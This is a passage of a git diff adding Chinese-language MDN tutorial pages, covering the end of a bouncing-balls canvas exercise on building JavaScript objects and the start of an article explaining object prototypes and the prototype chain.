size, width - size), + random(0 + size, height - size), + random(-7, 7), + random(-7, 7), + randomColor(), + size + ); + balls.push(ball); +} + +function loop() { + ctx.fillStyle = 'rgba(0,0,0,0.25)'; + ctx.fillRect(0,0,width,height); + + for(let i = 0; i < balls.length; i++) { + balls[i].draw(); + balls[i].update(); + balls[i].collisionDetect(); + } + + requestAnimationFrame(loop); +} + +loop(); + + </script> + </body> +</html> +</pre> +</div> + +<ol> +</ol> + +<p>{{ EmbedLiveSample('Bouncing_balls', '100%', 480, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>这个实例将会利用 <a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Canvas API</a> 来在屏幕上画小球, 还会用到 <a href="/zh-CN/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a> API 来使整个画面动起来 —— 我们并不要求你事先学习过这些 API 的相关知识,希望你完成这个练习之后会想去探索更多。这个过程中我们会用到一些漂亮的小东西并向你展示一些技巧,比如小球从墙上反弹,检查它们是否撞到了对方 (也就是碰撞检测)。</p> + +<h2 id="让我们开始吧">让我们开始吧</h2> + +<p>首先下载 <a class="external external-icon" href="https://raw.githubusercontent.com/roy-tian/learning-area/master/javascript/oojs/bouncing-balls/bouncing-balls-start.zip">bouncing-balls-start.zip</a>,其中包含以下三个文件:index.html、style.css 和 main.js。它们分别包含以下内容:</p> + +<ol> + <li>一个非常简单的 HTML 文档,包括一个 <code><h1></code> 元素、一个{{HTMLElement("canvas")}} 元素来画小球,还有一些元素将 CSS 和 JavaScript 运用到我们的 HTML 中。</li> + <li>一些非常简单的样式,主要是 <code><h1></code> 元素的样式和定位,另外还能使画面填充整个页面从而摆脱滚动条和边缘的空白(这样看起来非常简洁)</li> + <li>一些 JavaScript 用来设置 <code><canvas></code> 元素,并提供我们要用到的基本函数。</li> +</ol> + +<p>脚本的第一部分是这样的:</p> + +<pre class="brush: js">const canvas = document.querySelector('canvas'); + +const ctx = canvas.getContext('2d'); + +const width = canvas.width = window.innerWidth; +const height = canvas.height = window.innerHeight;</pre> + +<p>这个脚本使用变量代指了 <code><canvas></code> 元素, 然后对其调用 <code><a href="/en-US/docs/Web/API/HTMLCanvasElement/getContext">getContext()</a></code> 从而我们获得一个开始画画的环境。存储以上操作结果的变量(<code>ctx</code>)是一个对象,直接代指画布上的一块允许我们绘制 2D 图形的区域。</p> + +<p>接下来,我们设置 <code>width</code> 和 <code>height</code> 变量,并且让画布元素的宽和高(分别使用 <code>canvas.width</code> 和 <code>canvas.height</code> 表示)等于浏览器的宽和高(也就是网页显示的区域 — 可以从 {{domxref("Window.innerWidth")}} 和 {{domxref("Window.innerHeight")}}参数获得)。</p> + +<p>你会看到我们在这里串联了多个赋值表达式在一起,这样能更快地设置变量——这是完全正确的。</p> + +<p>原始脚本最后的部分如下:</p> + +<pre class="brush: js">function random(min,max) { + return Math.floor(Math.random()*(max-min)) + min; +} + +function randomColor() { + return 'rgb(' + + random(0, 255) + ', ' + + random(0, 255) + ', ' + + random(0, 255) + ')'; +}</pre> + +<p>第一个函数为我们生成一个 <code>min</code> 至 <code>max</code> 之间的随机整数,第二个函数为我们生成一个随机的颜色值。</p> + +<h2 id="为程序中的小球建立模型">为程序中的小球建立模型</h2> + +<p>我们的项目中会有很多小球在屏幕上跳来跳去。因此这些小球会以相同的方式运作,从而我们可以通过一个对象实例化它们。首先,我们将下面的构造器加入到代码的底部。</p> + +<pre class="brush: js">function Ball(x, y, velX, velY, color, size) { + this.x = x; + this.y = y; + this.velX = velX; + this.velY = velY; + this.color = color; + this.size = size; +}</pre> + +<p>这个构造器中定义了每个小球需要的参数:</p> + +<ul> + <li><code>x</code> 和 <code>y</code> 坐标 —— 小球在屏幕上最开始时候的坐标。坐标的范围从 0 (左上角)到浏览器视口的宽和高(右下角)。</li> + <li>水平和竖直速度(<code>velX</code> 和 <code>velY</code>)—— 我们会给每个小球一个水平和竖直速度。实际上,当我们让这些球开始运动时候,每过一帧都会给小球的 <code>x</code> 和 <code>y</code> 坐标加一次这些值。</li> + <li><code>color</code> —— 每一个小球会有自己的颜色。</li> + <li><code>size</code> —— 每一个小球会有自己的大小 — 也就是小球的半径,以像素为单位。</li> +</ul> + +<p>这里说明了小球的属性,那么方法呢?别忘了我们要让小球动起来。</p> + +<h3 id="画小球">画小球</h3> + +<p>首先给小球的原型加上 <code>draw()</code> 方法:</p> + +<pre class="brush: js">Ball.prototype.draw = function() { + ctx.beginPath(); + ctx.fillStyle = this.color; + ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); + ctx.fill(); +}</pre> + +<p>通过使用这个函数,通过使用我们之前定义的 <code>ctx</code>对象 的方法,我们就可以让在屏幕上画出小球了。<code>ctx</code> 的内容区域就像是一张纸,现在我们就可以命令我们的笔画一点东西。</p> + +<ul> + <li>首先,我们使用 <code><a href="/zh-CN/docs/Web/API/CanvasRenderingContext2D/beginPath">beginPath()</a></code> 来声明我们现在要开始在纸上画一个图形了。</li> + <li>然后,我们使用 <code><a href="/zh-CN/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code> 来定义这个图形的颜色 — 这个值正是小球的颜色属性。</li> + <li>接下来,我们使用 <code><a href="/zh-CN/docs/Web/API/CanvasRenderingContext2D/arc">arc()</a></code> 方法来在纸上画出一段圆弧。有这些参数: + <ul> + <li><code>x</code> 和 <code>y</code> 是圆弧的中心的坐标 —— 也就是小球的中心坐标。</li> + <li>圆弧的半径 —— 小球的半径。</li> + <li>最后两个参数是开始和结束,也就是圆弧对应的夹角,单位以弧度表示。这里我们用的是 0 和 <code>2 * PI</code>,也就是 360 度(如果你设置成 0 和 <code>1 * PI</code>,则只会出现一个半圆,也就是 180 度)</li> + </ul> + </li> + <li>最后,我们使用 <code><a href="/zh-CN/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code> 方法,也就是声明我们结束了以 <code>beginPath()</code> 开始的绘画,并且使用我们之前设置的颜色进行填充。 </li> +</ul> + +<p>现在你已经可以测试你的对象了。</p> + +<ol> + <li>保存代码,将 HTML 加载到浏览器中。</li> + <li>打开浏览器中的 JavaScript 控制台,刷新页面,从而画布可以根据可视的区域调整自己的大小。</li> + <li>通过下面的代码创建一个小球实例。 + <pre class="brush: js">let testBall = new Ball(50, 100, 4, 4, 'blue', 10);</pre> + </li> + <li>你可以调用实例的这些属性。 + <pre class="brush: js">testBall.x +testBall.size +testBall.color +testBall.draw()</pre> + </li> + <li>当你键入最后一行的时候,你会在你的画布上看到一个小球被画出来了。</li> +</ol> + +<h3 id="更新小球的数据">更新小球的数据</h3> + +<p>我们可以在一个固定位置画出小球,但是他们不会动,我们需要一个函数来更新一些东西。在 JavaScript 文件底部加上下面的代码,也就是给小球原型加上一个 update() 方法。</p> + +<pre class="brush: js">Ball.prototype.update = function() { + if ((this.x + this.size) >= width) { + this.velX = -(this.velX); + } + + if ((this.x - this.size) <= 0) { + this.velX = -(this.velX); + } + + if ((this.y + this.size) >= height) { + this.velY = -(this.velY); + } + + if ((this.y - this.size) <= 0) { + this.velY = -(this.velY); + } + + this.x += this.velX; + this.y += this.velY; +}</pre> + +<p>函数的前四个部分用来检查小球是否碰到画布的边缘。如果碰到,我们反转小球的速度方向来让它向反方向移动。就比如说,如果小球正向上移动 (正 <code>velY</code>),然后垂直速度发生改变,小球就向下移动 (负 <code>velY</code>)。</p> + +<p>在这四部分中,我们:</p> + +<ul> + <li>检查小球的 <code>x</code> 坐标是否大于画布的宽度(小球会从右边缘离开)。</li> + <li>检查小球的 <code>x</code> 坐标是否小于0(小球会从左边缘离开)。</li> + <li>检查小球的 <code>y</code> 坐标是否大于画布的高度(小球会从下边缘离开)。</li> + <li>检查小球的 <code>y</code> 坐标是否小于0(小球会从上边缘离开)。</li> +</ul> + +<p>在每种情况下,我们都会加上小球的半径,因为 <code>x</code>/<code>y</code> 坐标是小球中心的坐标,我们希望小球在其边界接触浏览器窗口的边界时反弹,而不是小球的一部分都不见了再返回。</p> + +<p>最后两行,我们将 <code>velX</code> 的值加到 <code>x</code> 的坐标上,将 <code>velY</code> 的值加到 <code>y</code> 坐标上 —— 每次调用这个方法的时候小球就移动这么多。</p> + +<p>暂时先这样做; 让我们继续做一些动画!</p> + +<h2 id="让球动起来">让球动起来 </h2> + +<p>现在就变得非常有趣了。我们在画布上加上一些小球,并且让他们动起来。</p> + +<ol> + <li>首先我们需要一个地方储存小球,下面的数组会干这件事 —— 现在将它添加到你的代码底部: + <pre class="brush: js">let balls = []; + +while (balls.length < 25) { + let size = random(10, 20); + let ball = new Ball( + // 为避免绘制错误,球至少离画布边缘球本身一倍宽度的距离 + random(0 + size, width - size), + random(0 + size, height - size), + random(-7, 7), + random(-7, 7), + randomColor(), + size + ); + balls.push(ball); + } +</pre> + </li> + <li> + <p>几乎所有的动画效果都会用到一个运动循环,也就是每一帧都自动更新视图。这是大多数游戏或者其他类似项目的基础。</p> + </li> + <li>现在将它添加到你的代码底部: + <pre class="brush: js">function loop() { + ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; + ctx.fillRect(0, 0, width, height); + + for (let i = 0; i < balls.length; i++) { + balls[i].draw(); + balls[i].update(); + } + + requestAnimationFrame(loop); +}</pre> + + <p><code>loop()</code> 函数做了下面的事情:</p> + + <ul> + <li>将整个画布的颜色设置成半透明的黑色。然后使用 <code>fillRect()</code>(这四个参数分别是起始的坐标、绘制的矩形的宽和高)画出一个填充满整个画布的矩形。这是在下一个视图画出来时用来遮住之前的视图的。如果不这样做得话,你就会在屏幕上看到一条蛇的形状而不是小球的运动了。用来填充的颜色设置成半透明的<code>rgba(0,0,0,0.25)</code>,也就是让之前的视图留下来一点点,从而你可以看到小球运动时的轨迹。如果你将 0.25 设置成 1 时,你就完全看不到了。试着改变其中的值查看造成的影响。</li> + <li>当且仅当小球数量小于 25 时,将 <code>random()</code> 函数产生的数字传入新的小球实例从而创建一个新的小球,并且加入到数组中。因此当屏幕上有 25 个小球时,不会再出现更多小球。你可以改变这个值,从而看到不同小球个数造成的影响。如果你的电脑或者浏览器性能不怎么样的话,几千个小球的速度就会明显慢下来。</li> + <li>遍历数组中的所有小球,并且让每个小球都调用 <code>draw()</code> 和 <code>update()</code> 函数来将自己画出来,并且再接下来的每一帧都按照其速度进行位置的更新。</li> + <li>使用 <code>requestAnimationFrame()</code> 方法再运行一次函数 —— 当一个函数正在运行时传递相同的函数名,从而每隔一小段时间都会运行一次这个函数,这样我们可以得到一个平滑的动画效果。这主要是通过递归完成的 —— 也就是说函数每次运行的时候都会调用自己,从而可以一遍又一遍得运行。</li> + </ul> + </li> + <li>最后但是非常重要的是,加上下面这一行 —— 让动画开始运行的话我们需要调用这个函数。 + <pre class="brush: js">loop();</pre> + </li> +</ol> + +<p>完成这些基础的之后在浏览器打开测试一下!</p> + +<h2 id="添加碰撞检测">添加碰撞检测</h2> + +<p>现在会更加有趣,给我们的项目加上碰撞检测,从而小球会知道他们正在撞击其他的球。</p> + +<ol> + <li>首先在 <code>update()</code> 方法后添加以下方法 (即 <code>Ball.prototype.update</code> 的下面)。 + + <pre class="brush: js">Ball.prototype.collisionDetect = function() { + for (let j = 0; j < balls.length; j++) { + if (this !== balls[j]) { + const dx = this.x - balls[j].x; + const dy = this.y - balls[j].y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (distance < this.size + balls[j].size) { + balls[j].color = this.color = randomColor(); + } + } + } +}</pre> + + <p>这个方法有一点点复杂,如果不理解的话不必过分担心,下面是对它的解释:</p> + + <ul> + <li>对于每个小球,我们都要检查其他的小球是否和当前这个小球相撞了。为了达到此目的,我们构造另外一个 <code>for</code> 循环来遍历 <code>balls[]</code> 数组中的小球。</li> + <li>在循环里面,我们使用一个 <code>if</code> 语句来检查遍历的小球是否是当前的小球。我们不希望检测到一个小球撞到了自己!为了达到这个目的,我们需要检查当前小球 (即正在调用 <code>collisionDetect</code> 方法的球) 是否和被循环到的小球 (<code>for</code> 循环检测中的当前遍历所引用的球) 是不是同一个。我们使用 <code>!</code> 来否定判断,因此只有两个小球<strong>不是</strong>同一个时,条件判断中的代码才会运行。</li> + <li>我们使用了一个常见的算法来检测两个小球是否相撞了,两个小球中心的距离是否小于两个小球的半径之和。这些会在 <a href="/zh-CN/docs/Games/Techniques/2D_collision_detection">2D 碰撞检测</a> 介绍地更加详细。</li> + <li>如果检测到了碰撞,会运行 <code>if</code> 语句中的代码。我们会将两个小球的颜色都设置成随机的一种。我们也可以将这步操作变得复杂一点,比如让两个小球弹开,那样需要植入更加复杂的代码。像这样的物理场景,有以下专门的库比如 <a href="http://wellcaffeinated.net/PhysicsJS/">PhysicsJS</a>,<a href="http://brm.io/matter-js/">matter.js</a>,<a href="http://phaser.io/">Phaser</a> 等。</li> + </ul> + </li> + <li>我们也需要在每一帧动画中都调用这个函数,因此在 <code>balls[i].update()</code> 加上下面的代码: + <pre class="brush: js">balls[i].collisionDetect();</pre> + </li> + <li>保存文件,刷新浏览器,你就会看到小球在撞击时会变色!</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>如果示例无法顺利执行,可参考我们的 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/tree/master/javascript/oojs/bouncing-balls">最终版本</a>,或者 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/javascript/oojs/bouncing-balls/">在线试用</a>。</p> +</div> + +<h2 id="概要">概要</h2> + +<p>我们希望你玩得开心,编写出你自己的随机弹跳球的例子,在整个程序中使用各种对象和面向对象的技术! 在你实际运用对象中能提供一些有用的帮助。</p> + +<p>对象文章就到这里了。现在剩下的就是在下一节的对象评估中测试你的技能。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a> —— 2D canvas 初学者指南.</li> + <li><a href="/zh-CN/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></li> + <li><a href="zh-CN/docs/Games/Techniques/2D_collision_detection">2D 碰撞检测</a></li> + <li><a href="/zh-CN/docs/Games/Techniques/3D_collision_detection">3D 碰撞检测</a></li> + <li><a href="/zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript">纯 JavaScript 编写的 2D 消除游戏</a> —— 一个很好的2D游戏开发初学者教程.</li> + <li><a href="/zh-CN/docs/Games/Tutorials/2D_breakout_game_Phaser">Phaser 编写的 2D 消除游戏</a> —— JavaScript游戏库构建2D游戏的基础知识。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Basics">对象基础</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object-oriented_JS">适合初学者的 JavaScript 面向对象</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object_prototypes">对象原型</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Inheritance">JavaScript 中的继承</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/JSON">使用 JSON 数据</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object_building_practice">构建对象实战</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">向“弹跳球”演示程序添加新功能</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/objects/object_prototypes/index.html b/files/zh-cn/learn/javascript/objects/object_prototypes/index.html new file mode 100644 index 0000000000..89028e5e17 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/object_prototypes/index.html @@ -0,0 +1,357 @@ +--- +title: 对象原型 +slug: Learn/JavaScript/Objects/Object_prototypes +tags: + - JavaScript + - 初学者 + - 原型 + - 对象 +translation_of: Learn/JavaScript/Objects/Object_prototypes +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">通过原型这种机制,JavaScript 中的对象从其他对象继承功能特性;这种继承机制与经典的面向对象编程语言的继承机制不同。本文将探讨这些差别,解释原型链如何工作,并了解如何通过 <code>prototype</code> 属性向已有的构造器添加方法</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机素养,对 HTML 和 CSS 有基本的理解,熟悉 JavaScript 基础(参见 <a href="/zh-CN/docs/Learn/JavaScript/First_steps">First steps</a> 和 <a href="/zh-CN/docs/Learn/JavaScript/Building_blocks">Building blocks</a>)以及面向对象的JavaScript (OOJS) 基础(参见 <a href="/zh-CN/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction to objects</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解 JavaScript 对象原型、原型链如何工作、如何向 <code>prototype</code> 属性添加新的方法。</td> + </tr> + </tbody> +</table> + +<h2 id="基于原型的语言?">基于原型的语言?</h2> + +<p>JavaScript 常被描述为一种<strong>基于原型的语言 (prototype-based language)</strong>——每个对象拥有一个<strong>原型对象</strong>,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为<strong>原型链 (prototype chain)</strong>,它解释了为何一个对象会拥有定义在其他对象中的属性和方法。</p> + +<p>准确地说,这些属性和方法定义在Object的构造器函数(constructor functions)之上的<code>prototype</code>属性上,而非对象实例本身。</p> + +<p>在传统的 OOP 中,首先定义“类”,此后创建对象实例时,类中定义的所有属性和方法都被复制到实例中。在 JavaScript 中并不如此复制——而是在对象实例和它的构造器之间建立一个链接(它是__proto__属性,是从构造函数的<code>prototype</code>属性派生的),之后通过上溯原型链,在构造器中找到这些属性和方法。</p> + +<div class="note"> +<p><strong>注意: </strong>理解对象的原型(可以通过<code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(obj)</a></code>或者已被弃用的<code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code>属性获得)与构造函数的<code>prototype</code>属性之间的区别是很重要的。前者是每个实例上都有的属性,后者是构造函数的属性。也就是说,<code>Object.getPrototypeOf(new Foobar())</code>和<code>Foobar.prototype</code>指向着同一个对象。</p> +</div> + +<p>以上描述很抽象;我们先看一个例子。</p> + +<h2 id="使用Javascript中的原型">使用Javascript中的原型</h2> + +<p>在javascript中,函数可以有属性。 每个函数都有一个特殊的属性叫作<code>原型(prototype)</code> ,正如下面所展示的。请注意,下面的代码是独立的一段(在网页中没有其他代码的情况下,这段代码是安全的)。为了最好的学习体验,你最好打开一个控制台 (在Chrome和Firefox中,可以按Ctrl+Shift+I来打开)切换到"控制台" 选项卡, 复制粘贴下面的JavaScript代码,然后按回车来运行.</p> + +<pre class="brush: js">function doSomething(){} +console.log( doSomething.prototype ); +// It does not matter how you declare the function, a +// function in javascript will always have a default +// prototype property. +var doSomething = function(){}; +console.log( doSomething.prototype ); +</pre> + +<p>正如上面所看到的, <code>doSomething</code> 函数有一个默认的原型属性,它在控制台上面呈现了出来. 运行这段代码之后,控制台上面应该出现了像这样的一个对象.</p> + +<pre class="brush: js">{ + constructor: ƒ doSomething(), + __proto__: { + constructor: ƒ Object(), + hasOwnProperty: ƒ hasOwnProperty(), + isPrototypeOf: ƒ isPrototypeOf(), + propertyIsEnumerable: ƒ propertyIsEnumerable(), + toLocaleString: ƒ toLocaleString(), + toString: ƒ toString(), + valueOf: ƒ valueOf() + } +}</pre> + +<p>现在,我们可以添加一些属性到 doSomething 的原型上面,如下所示.</p> + +<pre class="brush: js">function doSomething(){} +doSomething.prototype.foo = "bar"; +console.log( doSomething.prototype ); +</pre> + +<p>结果:</p> + +<pre class="brush: js">{ + foo: "bar", + constructor: ƒ doSomething(), + __proto__: { + constructor: ƒ Object(), + hasOwnProperty: ƒ hasOwnProperty(), + isPrototypeOf: ƒ isPrototypeOf(), + propertyIsEnumerable: ƒ propertyIsEnumerable(), + toLocaleString: ƒ toLocaleString(), + toString: ƒ toString(), + valueOf: ƒ valueOf() + } +} +</pre> + +<p> </p> + +<p>然后,我们可以使用 new 运算符来在现在的这个原型基础之上,创建一个 <code>doSomething</code> 的实例。正确使用 new 运算符的方法就是在正常调用函数时,在函数名的前面加上一个 <code>new</code> 前缀. 通过这种方法,在调用函数前加一个 <code>new</code> ,它就会返回一个这个函数的实例化对象. 然后,就可以在这个对象上面添加一些属性. 看.</p> + +<pre class="brush: js">function doSomething(){} +doSomething.prototype.foo = "bar"; // add a property onto the prototype +var doSomeInstancing = new doSomething(); +doSomeInstancing.prop = "some value"; // add a property onto the object +console.log( doSomeInstancing );</pre> + +<p> </p> + +<p>结果:</p> + +<p> </p> + +<pre class="brush: js">{ + prop: "some value", + __proto__: { + foo: "bar", + constructor: ƒ doSomething(), + __proto__: { + constructor: ƒ Object(), + hasOwnProperty: ƒ hasOwnProperty(), + isPrototypeOf: ƒ isPrototypeOf(), + propertyIsEnumerable: ƒ propertyIsEnumerable(), + toLocaleString: ƒ toLocaleString(), + toString: ƒ toString(), + valueOf: ƒ valueOf() + } + } +}</pre> + +<p>就像上面看到的, <code>doSomeInstancing</code> 的 <code>__proto__</code> 属性就是<code>doSomething.prototype</code>. 但是这又有什么用呢? 好吧,当你访问 <code>doSomeInstancing</code> 的一个属性, 浏览器首先查找 <code>doSomeInstancing</code> 是否有这个属性. 如果 <code>doSomeInstancing</code> 没有这个属性, 然后浏览器就会在 <code>doSomeInstancing</code> 的 <code>__proto__</code> 中查找这个属性(也就是 doSomething.prototype). 如果 doSomeInstancing 的 <code>__proto__</code> 有这个属性, 那么 doSomeInstancing 的 <code>__proto__</code> 上的这个属性就会被使用. 否则, 如果 doSomeInstancing 的 <code>__proto__</code> 没有这个属性, 浏览器就会去查找 doSomeInstancing 的 <code>__proto__</code> 的 <code>__proto__</code> ,看它是否有这个属性. 默认情况下, 所有函数的原型属性的 <code>__proto__</code> 就是 <code>window.Object.prototype</code>. 所以 doSomeInstancing 的 <code>__proto__</code> 的 <code>__proto__</code> (也就是 doSomething.prototype 的 <code>__proto__</code> (也就是 <code>Object.prototype</code>)) 会被查找是否有这个属性. 如果没有在它里面找到这个属性, 然后就会在 doSomeInstancing 的 <code>__proto__</code> 的 <code>__proto__</code> 的 <code>__proto__</code> 里面查找. 然而这有一个问题: doSomeInstancing 的 <code>__proto__</code> 的 <code>__proto__</code> 的 <code>__proto__</code> 不存在. 最后, 原型链上面的所有的 <code>__proto__</code> 都被找完了, 浏览器所有已经声明了的 <code>__proto__</code> 上都不存在这个属性,然后就得出结论,这个属性是 <code>undefined</code>.</p> + +<pre class="brush: js">function doSomething(){} +doSomething.prototype.foo = "bar"; +var doSomeInstancing = new doSomething(); +doSomeInstancing.prop = "some value"; +console.log("doSomeInstancing.prop: " + doSomeInstancing.prop); +console.log("doSomeInstancing.foo: " + doSomeInstancing.foo); +console.log("doSomething.prop: " + doSomething.prop); +console.log("doSomething.foo: " + doSomething.foo); +console.log("doSomething.prototype.prop: " + doSomething.prototype.prop); +console.log("doSomething.prototype.foo: " + doSomething.prototype.foo);</pre> + +<p>结果:</p> + +<pre class="brush: js">doSomeInstancing.prop: some value +doSomeInstancing.foo: bar +doSomething.prop: undefined +doSomething.foo: undefined +doSomething.prototype.prop: undefined +doSomething.prototype.foo: bar</pre> + +<h2 id="理解原型对象">理解原型对象</h2> + +<p>让我们回到 <code>Person()</code> 构造器的例子。请把这个例子载入浏览器。如果你还没有看完上一篇文章并写好这个例子,也可以使用 <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> 中的例子(亦可参考<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">源代码</a>)。</p> + +<p>本例中我们将定义一个构造器函数:</p> + +<pre class="brush: js">function Person(first, last, age, gender, interests) { + + // 属性与方法定义 + +};</pre> + +<p>然后创建一个对象实例:</p> + +<pre class="brush: js">var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre> + +<p>在 JavaScript 控制台输入 "<code>person1.</code>",你会看到,浏览器将根据这个对象的可用的成员名称进行自动补全:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13853/object-available-members.png" style="display: block; margin: 0 auto;"></p> + +<p>在这个列表中,你可以看到定义在 <code>person1</code> 的原型对象、即 <code>Person()</code> 构造器中的成员—— <code>name</code>、<code>age</code>、<code>gender</code>、<code>interests</code>、<code>bio</code>、<code>greeting</code>。同时也有一些其他成员—— <code>watch</code>、<code>valueOf</code> 等等——这些成员定义在 <code>Person()</code> 构造器的原型对象、即 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code> 之上。下图展示了原型链的运作机制。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13891/MDN-Graphics-person-person-object-2.png" style="display: block; height: 150px; margin: 0px auto; width: 700px;"></p> + +<p>那么,调用 <code>person1</code> 的“实际定义在 <code>Object</code> 上”的方法时,会发生什么?比如:</p> + +<pre class="brush: js">person1.valueOf()</pre> + +<p>这个方法仅仅返回了被调用对象的值。在这个例子中发生了如下过程:</p> + +<ul> + <li>浏览器首先检查,<code>person1</code> 对象是否具有可用的 <code>valueOf()</code> 方法。</li> + <li>如果没有,则浏览器检查 <code>person1</code> 对象的原型对象(即 <code>Person</code>构造函数的prototype属性所指向的对象)是否具有可用的 <code>valueof()</code> 方法。</li> + <li>如果也没有,则浏览器检查 <code>Person()</code> 构造函数的prototype属性所指向的对象的原型对象(即 <code>Object</code>构造函数的prototype属性所指向的对象)是否具有可用的 <code>valueOf()</code> 方法。这里有这个方法,于是该方法被调用。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:必须重申,原型链中的方法和属性<strong>没有</strong>被复制到其他对象——它们被访问需要通过前面所说的“原型链”的方式。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>:没有官方的方法用于直接访问一个对象的原型对象——原型链中的“连接”被定义在一个内部属性中,在 JavaScript 语言标准中用 <code>[[prototype]]</code> 表示(参见 {{glossary("ECMAScript")}})。然而,大多数现代浏览器还是提供了一个名为 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code> (前后各有2个下划线)的属性,其包含了对象的原型。你可以尝试输入 <code>person1.__proto__</code> 和 <code>person1.__proto__.__proto__</code>,看看代码中的原型链是什么样的!</p> +</div> + +<h2 id="prototype_属性:继承成员被定义的地方">prototype 属性:继承成员被定义的地方</h2> + +<p>那么,那些继承的属性和方法在哪儿定义呢?如果你查看 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code> 参考页,会发现左侧列出许多属性和方法——大大超过我们在 <code>person1</code> 对象中看到的继承成员的数量。某些属性或方法被继承了,而另一些没有——为什么呢?</p> + +<p>原因在于,继承的属性和方法是定义在 <code>prototype</code> 属性之上的(你可以称之为子命名空间 (sub namespace) )——那些以 <code>Object.prototype.</code> 开头的属性,而非仅仅以 <code>Object.</code> 开头的属性。<code>prototype</code> 属性的值是一个对象,我们希望被原型链下游的对象继承的属性和方法,都被储存在其中。</p> + +<p>于是 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/watch">Object.prototype.watch()</a>、</code><code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf">Object.prototype.valueOf()</a></code> 等等成员,适用于任何继承自 <code>Object()</code> 的对象类型,包括使用构造器创建的新的对象实例。</p> + +<p><code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is()</a></code>、<code><a href="zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>,以及其他不在 <code>prototype</code> 对象内的成员,不会被“对象实例”或“继承自 <code>Object()</code> 的对象类型”所继承。这些方法/属性仅能被 <code>Object()</code> 构造器自身使用。</p> + +<div class="note"> +<p><strong>注意</strong>:这看起来很奇怪——构造器本身就是函数,你怎么可能在构造器这个函数中定义一个方法呢?其实函数也是一个对象类型,你可以查阅 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code> 构造器的参考文档以确认这一点。</p> +</div> + +<ol> + <li>你可以检查已有的 <code>prototype</code> 属性。回到先前的例子,在 JavaScript 控制台输入: + + <pre class="brush: js">Person.prototype</pre> + </li> + <li>输出并不多,毕竟我们没有为自定义构造器的原型定义任何成员。缺省状态下,构造器的 <code>prototype</code> 属性初始为空白。现在尝试: + <pre class="brush: js">Object.prototype</pre> + </li> +</ol> + +<p>你会看到 <code>Object</code> 的 <code>prototype</code> 属性上定义了大量的方法;如前所示,继承自 <code>Object</code> 的对象都可以使用这些方法。</p> + +<p>JavaScript 中到处都是通过原型链继承的例子。比如,你可以尝试从 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>、<code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>、<code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> 和 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code> 全局对象的原型中寻找方法和属性。它们都在原型上定义了一些方法,因此当你创建一个字符串时:</p> + +<pre class="brush: js">var myString = 'This is my string.';</pre> + +<p><code>myString</code> 立即具有了一些有用的方法,如 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/split">split()</a></code>、<code><a 